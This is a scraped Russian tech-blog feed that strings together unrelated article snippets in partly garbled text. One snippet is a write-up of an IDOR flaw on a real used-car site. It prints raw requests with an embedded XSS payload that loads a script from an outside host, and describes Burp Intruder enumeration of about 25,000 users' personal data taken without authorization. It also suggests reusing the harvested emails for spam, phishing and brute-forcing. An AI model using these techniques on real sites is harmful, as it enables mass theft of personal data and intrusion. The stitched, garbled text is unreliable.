Буквально пару лет назад было немало людей, считавших Bitcoin либо игрушкой для гиков, либо в лучшем случае инструментом для покупки наркотиков, а кое-где его даже хотели запретить. Тем не менее сегодня со всех сторон слышно, что эта технология совсем скоро изменит мир, блокчейн стартапы появляются как грибы после дождя, а криптовалюты, по-моему, уже никто не считает.


Удивительно, но при этом литературы, описывающей принципы работы Bitcoin, до сих пор очень мало, а та что есть, как правило, не несет никакой ценной информации. Поэтому я написал небольшую книгу для тех, кто хочет понять, как действительно работает Bitcoin. В ней я постарался коснуться всех основных моментов и по возможности объяснил их максимально доступным языком. Хотя книга рассчитана все-таки на людей, близких к IT сфере, благо примеров кода, специфической терминологии и несмешных шуток хватает.


mmm_memes

(изменено ) | 319852@habrahabr

H Java примеры из книг и документации в черновиках recovery mode tutorial

Набор примеров составленных из книг и документации. PDF + Исходники
Java books and internet samples by padaboo I.B Aleksandrov

DPI-системы, которые стали результатом слияния нескольких систем фильтрации пакетов, значительно упростили процессы управления сетями и сайтами, а также повысили их защищенность от атак. Это позволило расширить сферу применимости технологий глубокого анализа трафика.

Аналитики считают, что к 2018 году рынок DPI достигнет планки в 3,81 млрд долларов. При этом стоит учитывать, что в 2013 году он оценивался всего в 742 млн долларов. Не в последнюю очередь такой рост обусловлен тем, что DPI-решения позволяют провайдерам получить определенную экономическую выгоду. О том, какие функции глубокого анализа трафика экономят средства, и пойдет речь в нашем сегодняшнем материале.

(изменено ) | 319692@habrahabr

H Автоматические объекты компилятора в черновиках

Статья основана на версии Kotlin «1.1-М04».


Эта статья посвящена описанию механизма генерации автоматических классов компилятором Kotlin для анонимного блока пользовательского кода. Описано в каких случаях создаются автоматические классы, где они располагаются, как реализованы и используются.


В Java существует только один способ создания элемента кода – это лямбда-выражение, которое может реализовывать только функциональный интерфейс (подробнее см. в документации на Java). В Kotlin существует несколько различных способов описать объект, содержащий пользовательский код.


Всем хорошо известна особенность Kotlin очень легко реализовывать код, позволяющий писать такие конструкции:


fun Action( cb:()->Unit ) { cb() }
fun Test() {
  Action{
    // Этот блок кода будет выполнен в функции
  }
}

Как это реализовано и чем чревато использование такого кода в программе?


ПС: Первоначальный вариант статьи содержал логическую ошибку и неправильные выводы. Приношу всем свои извинения за этот факт. Эта статья переработана и дополнена дополнительными данными.


Впервые предложен вариант реализации гибридного запоминающего устройства “бит + кубит” на основе, пары вертикальных блоховских линй, образуемых в доменных границах магнитных пленок

Стремительное развитие современных технологий выдвигает ряд серьезных требований к служебным характеристикам устройств накопления и хранения информации. Запоминающие устройства (ЗУ) должны обладать радиационной и механической устойчивостью, энергонезависимостью и отличаться высокой плотностью регистрации больших массивов данных.

image

Рис.1 Пример ЗУ

Указанным качествам в значительной степени соответствуют уже существующие твердотельные ЗУ, в которых элементарными битами информации являются заданные стабильные состояния физических носителей памяти. Например, гистерезисные направления векторов намагниченности. При этом N бит такого ЗУ могут одновременно представлять N бинарных значений. В то же время, проводятся интенсивные исследования с целью создания ЗУ, запись информации в которых, осуществляется с помощью суперпозиции двухуровневых квантовых состояний (кубитов). Практическое внедрение такого подхода позволит качественно увеличить объем записи данных. Так N кубитов смогут одновременно представлять уже 2^N бинарных значений, что заметно превосходит потенциал обычного ЗУ.


В прошлом году на Хабрахабре публиковалось немало интересных материалов из сферы дата-центров, сферы, которая продолжает развиваться самым активным образом. Не так давно в нашем блоге была опубликована статья о тенденциях 2017 года, которые, по мнению ряда экспертов, станут основными в новом году. Но не стоит забывать и о том, что произошло в 2016 году — ведь ушедший год оставил много всего интересного, с чем нужно будет разбираться в ближайшем будущем.

Собственно, новый материал можно считать продолжением предыдущего, тематика практически идентична. Вот только тенденции, о которых шла речь выше, отличаются. Итак, с чем нас оставил год 2016, что может получить развитие в этом году?

Привет, Хабр! Хочу поделиться результатами сравнения популярных DB-библиотек, используемых на Android. Необходимость выбрать одну из таких библиотек есть у каждого Android-разработчика, так как писать на чистом Android API крайне неудобно, приходится каждый раз делать слишком много работы — необходимо в каждом новом проекте заново создавать наследников классов ContentProvider и SQLiteOpenHelper, писать SQLite-скрипт для создания базы данных, писать перевод объектов моделей на язык запросов и обратно и много другое. На основе этого появилось несколько библиотек, они имеют разные подходы и особенности, но явного лидера среди них нет. Поэтому я и решил сделать сравнительный анализ данных библиотек.

(изменено ) | 319538@habrahabr

H Про дримбокс, вишлист и отложенное в избранное в черновиках recovery mode

Сделал небольшой опрос на тему названия раздела для сохранения списка будущих покупок. Результаты голосования и обсуждения:

  1. «Избранное» большинство устраивает, отрицательных отзывов не было;
  2. «Вишлист» популярен, что несколько удивило. Видимо, многие привыкли к этому названию на зарубежных сервисах;
  3. у «Отложенного» ассоциации не очень позитивные, как будто отложили на дальнюю полку;
  4. «Дримбокс» название редкое и непонятное, меньше всего голосов.
  5. , а «желания» точно передает содержание и стимулирует их реализовать. В отличие от мечты (dream) — чего-то далекого и не всегда достижимого.

    Сам я сплит-тесты на эту тему не проводил, да и вообще не приходилось его менять на работающих проектах. По первому анализу не вижу какой-то системы на икоммерц-сайтах в определении этого названия.

    Что касается CTA-кнопки, которая отправляет товар в раздел, здесь разнообразие еще больше:
    «В закладки», «Отложить на потом», «В желания», «Запомнить товар» и т.д.
    Также, надо отметить, что в некоторых интернет-магазинах для этого используется функционал «Сравнить».
Всем доброго времени суток. После моего первого поста, я понял что все таки в программировании как и в жизни все делится на несколько сегментов, как то бедные и богатые так и «код в стиле 2000» или современный кодинг. Так вот, сейчас хочу рассказать о том, почему наша система «не современная», не использует многие фичи, которые так популярны в современном мире, и почему этот проект работает.
Дело в том, что рынок разработки очень насыщен программистами, и цена их работы определяется не только его скилами, но и еще системой, с которой он работает. Если вы хотите разработать сайт на битриксе, то наверняка услышите большие суммы, за обыкновенную форму обратной связи или новый чекбокс в админке. Когда человек просит на вордпресс развернуть сайт, то цены уже совсем другие, и они меньше.
Увидел рекламу сайта, который занимается продажей подержанных машин, назовем его example.com, чтобы не портить репутацию ресурса, решил протестировать его на наличие уязвимостей. Обнаружил несколько не критических и одну критическую.

Это iDOR в личном кабинете, в редактировании личных данных. Грубая ошибка, id аккаунта передается в post запросе

POST /api/user/saveUserInfo HTTP/1.1
Host: www.****.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: eyJhbGffOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHBpcmUiOiIyMDE3LTAzLTEyIDE0OjMxOjI1IiwiZW1haWwiOiJxaWVjghpAZ21haWwuY29tIn0.RtQI9h5O16ZS48LuK6rwJXlc1MCNmY8ai5rMywLeEe8
Content-Type: application/json;charset=utf-8
Content-Length: 1590<anchor>habracut</anchor>
Cookie: django_language=ru; utm_source=f; utm_campaign=red_301; utm_medium=offline; _ga=GA1.2.1196308855.1481541724; _edata="eyJ1c2VybmFtZSI6InFpZWNlekBnbWFpbC5jb20iLCJwYXNzd29yZCI6InF3ZXJ0eXoxIn0:1cGPlN:i5Sse_VzW0Jtu3tltK3iHCBLYuI"
Referer: https://yahoo.com/<source lang="actionscript">"><script src=https://securityz.net/xss.js?></script></script>

Connection: close

{"id":59553,"user":{"id":59541,"email":"ww@example.com","is_staff":false,"date_joined":"2016-12-12T12:20:18.444255Z"},"uuid":"9b921350-5dce-4796-bdcc-ad11039a18d8","email":"ww@example.com","state":{"id":59553,"state_data":{"state":"active","state_title":"АÐ∨dm;тиÐ⊃2;ный","state_date":"2016-12-12T12:30:39.513Z","state_val":true,"state_extra":{}},"created_extra":{},"confirmed_extra":{},"active_extra":{},"blocked_extra":{},"deleted_extra":{},"last_modified":"2016-12-12T12:30:39.514128Z","extra":"{}","created":true,"created_date":"2016-12-12T12:20:18.474992Z","confirmed":true,"confirmed_date":"2016-12-12T12:30:39.480891Z","active":true,"active_date":"2016-12-12T12:30:39.513982Z","blocked":false,"blocked_date":null,"deleted":false,"deleted_date":null},"allowed_regions":[],"info":{"request_source_region":null,"request_type":1,"confirmation_code_mail":null,"confirmation_code_sms":null,"request_allowed_regions":null},"images":{},"is_analyst":false,"is_mp_moderator":false,"is_mp_manager":false,"is_mp_dealer_manager":false,"is_mp_supervisor":false,"source_region":8,"source_region_info":{"id":8,"administrative_area":"Khmel'nyts'ka oblast","administrative_area_auto_ria":"ХмельницÐ∨dm;","ru_name":"ХмельницÐ∨dm;ая область","uk_name":"ХмельницьÐ∨dm;а область","slug":"","region":15},"phone":"111","first_name":"ww","last_name":"ww","buyer_type":1,"rating":3,"additional_info":null,"authorized":false,"email_notification":true,"sms_notification":true,"inspect_regions":[],"inspect_code":null,"amount":0,"personal_manager":223,"supervisor":51}


Изменяем «id»:59541, срабатывает защита, 403. Подменяем id":59553, нам выдает email адрес, местоположение и имя пользователя, что на id меньше меня. Но данные юзера не изменяются, а выдаются мне. Если бы изменялись — было бы критичнее, мы бы изменили email адреса на всех аккаунтах и взломали их.

Существуют разные методы обхода iDOR, главный — это:
HTTP Parameter Pollution — это новый вид атак на веб-приложения, основным преимуществом которого является возможность обхода WAF (Web Application Firewall). Концепт HPP был разработан итальянскими исследователями Luca Carettoni и Stefano di Paola и представлен на недавно прошедшей конференции OWASP AppSec EU09 Poland. - https://raz0r.name/articles/http-parameter-pollution/

Когда, например, в get или post запросе есть подобные переменные example.com/edit.php?id=1. Мы можем применить Http Parameter Pollution, чтобы обойти защиту idor example.com/edit.php?id=1&id=2. Внимание! В процессе тестирования часто можно увидеть ошибку 403 и подумать, что, например, статья не отредактирована с  помощью iDOR, но когда мы зайдем в эту статью, то увидим, что она изменилась. НЕ обязательно должен быть ответ 200. Важно понимать, что если ид идет в виде example.com/edit/1, то hpp мы не сможем применить.

Ответ

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 12 Dec 2016 11:44:34 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
Content-Language: ru
Vary: Accept, Cookie, Accept-Language
allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Length: 1568

{"id":59542,"user":{"id":59530,"email":"dimat***@gmail.com","is_staff":false,"date_joined":"2016-12-12T11:32:25.950746Z"},"uuid":"8e8a0ae6-c587-4f44-8e74-e7583f4cdd2e","email":"dimat***@gmail.com","state":{"id":59542,"state_data":{"state":"active","state_title":"Активный","state_date":"2016-12-12T11:34:51.070Z","state_val":true,"state_extra":{}},"created_extra":{},"confirmed_extra":{},"active_extra":{},"blocked_extra":{},"deleted_extra":{},"last_modified":"2016-12-12T11:34:51.070647Z","extra":"{}","created":true,"created_date":"2016-12-12T11:32:25.978469Z","confirmed":true,"confirmed_date":"2016-12-12T11:34:51.024676Z","active":true,"active_date":"2016-12-12T11:34:51.070421Z","blocked":false,"blocked_date":null,"deleted":false,"deleted_date":null},"allowed_regions":[],"info":{"request_source_region":null,"confirmation_code_sms":null,"request_allowed_regions":null,"confirmation_code_mail":null,"request_type":1},"images":{},"is_analyst":false,"is_mp_moderator":false,"is_mp_manager":false,"is_mp_dealer_manager":false,"is_mp_supervisor":false,"source_region":26,"source_region_info":{"id":26,"administrative_area":"Kyivs'ka oblast","administrative_area_auto_ria":"Киев","ru_name":"Киевская область","uk_name":"Київська область","slug":"","region":1},"phone":"**","first_name":"**","last_name":"**??,"buyer_type":1,"rating":3,"additional_info":null,"authorized":false,"email_notification":true,"sms_notification":true,"inspect_regions":[],"inspect_code":null,"amount":0,"personal_manager":223,"supervisor":51}


Отлично, мы нашли iDOR, можно идти сообщать об уязвимости.



Но многие компании не понимают всей опасности, сразу исправляют уязвимость и доказывают, что она не была опасная.

Поэтому эксплуатируем эту iDOR.


Обычно после того, как находят iDOR, подбирают вручную несколько значений идентификатора, потом репортят уязвимость.

Но не пытаются её «раскрутить» ещё больше.

В этой статье я хочу рассказать о том, как с помощью iDOR в личном кабинете можно получить личные данные всех пользователей ресурса, в том числе админов(нигде не заметил, чтобы об этом писали).

Наш ид 59553, округляем, узнаем, что на ресурсе 60 тысяч пользователей.

Теперь нужна тузла, что массово перебирает запросы и отдает ответ — Burp licensed to Lary_Lau Intruder.  Кидаем запрос в интрудер (ctrl+I), выделяем цифры во вкладке Positions, во вкладке Payloads выбираем numbers от 1 до 59552, начинаем атаку.

К сожалению, я перебрал id'ы только до 25 тысяч, остальные не смог, админы удалили мой аккаунт, заблокировали ip адрес и закрыли запрос редактирования личных данных(это радует :) )

kkk

Нажимаем save server responses

hh

, получаем файл из 50 МБ данных.

Если нужно — сортируем данные (сохраняем только email адреса для спам/фишинговой рассылки, брутфорсинга аккаунтов) в excel или в текстовом редакторе.

Но для того, чтобы доказать опасность администрации, 50 МБ ответов должно хватить. Пишем IT компании, которая обслуживает example.com:
qiece:13 декабря 2016, 16:24. Добрый день, Сергей. Вчера обнаружил уязвимость insecure dor в редактировании данных в личном кабинете юзера...

qiece: 13 декабря 2016, 16:46. Вам прислать базу в подтверждение? Когда ждать ответ?
Представитель example.com: 13 декабря 2016, 16:48 нет, базу высылать не нужно.

Представитель example.com: 13 декабря 2016, 17:35 Максим, два момента:
 1)мне нужно данный вопрос проговорить с владельцем ресурса, какую переодичность 2)«тестирования» Вы видите — от случая к случаю или на регулярной основе? 13 декабря 2016, qiece: 13 декабря 2016, 18:44 На регулярной основе


qiece: 14 декабря Добрый вечер, Сергей. Обсудили сотрудничество с владельцем ресурса???



qiece: 15 декабря ???

qiece: 16 декабря 2016, 12:10 Скажите хотя бы, какой ответ владельца. Ему что, все равно на его сайт?

Представитель example.com: 16 декабря 2016, 12:37 Максим, добрый день. Владелец сайта очень заинтересован в безопасной работе сайта. В ближайшее время он примет решение и я его буду знать.




qiece: 20 декабря 2016, 17:51 Добрый вечер. Когда будет ответ? Игнорирование — это не решение проблемы с дырами в безопасности сайта и взломанной базой данных пользователей.


14 декабря уязвимость исправили, убрали из post запроса переменную id и даже спасибо не сказали. Что по базе данных 25 000 пользователей, которая была слита — не сказали, чтобы я её удалил и не предложили NDA, компании все равно.

Я, конечно, через несколько дней безуспешной переписки с компанией, удалил файл с этой базой, ведь мне не нужны неприятности. А какой-то black hat мог бы не удалить базу и продать её в даркнет.
В этой ситуации виновата не компания-разработчик, а владелец, который не думает о безопасности сайта и экономит на этом.


Очень надеюсь, что этот проект вырастет и устранит свои дыры в безопасности.

Всем удачи в поисках уязвимостей.

Подписывайтесь на твиттер

И только что созданную группу vk https://vk.com/qiece, туда буду выкладывать ссылки на новые статьи.

Печаль. Сдох аккумулятор, незаслуженно забытый зимой в гараже. Я его вынул из мотоцикла, то ли сигнализация сожрала всё, то ли не зарядился в прошлые покатушки. Напряжометр показывал 9В, что есть криминал.

Я принёс батарею домой, отогрел, подключил к заряднику. Зарядник через полчаса показал ОК. Врал. Ничего там не ок. Лампочка ближнего света горела примерно 10 минут и потом быстро перешла в состояние «слабо грею воздух». Аккумулятор 6Ач, лампочка 55Вт.

Не покупать же новый аккумулятор? Зима, время есть. Есть ардуина даже и коробка всяких чипсов из Китая. Зря пылятся там что ли?

image

В далёкой советской армии 30 лет назад я проходил курс ухода за аккумуляторами. Основное отличие его от инструкций 21 века было таким: батарея должна проходить серию циклов заряда и разряда. Без этого, сколько её в заряднике не держи, какой бы он ни был умный, она сдохнет.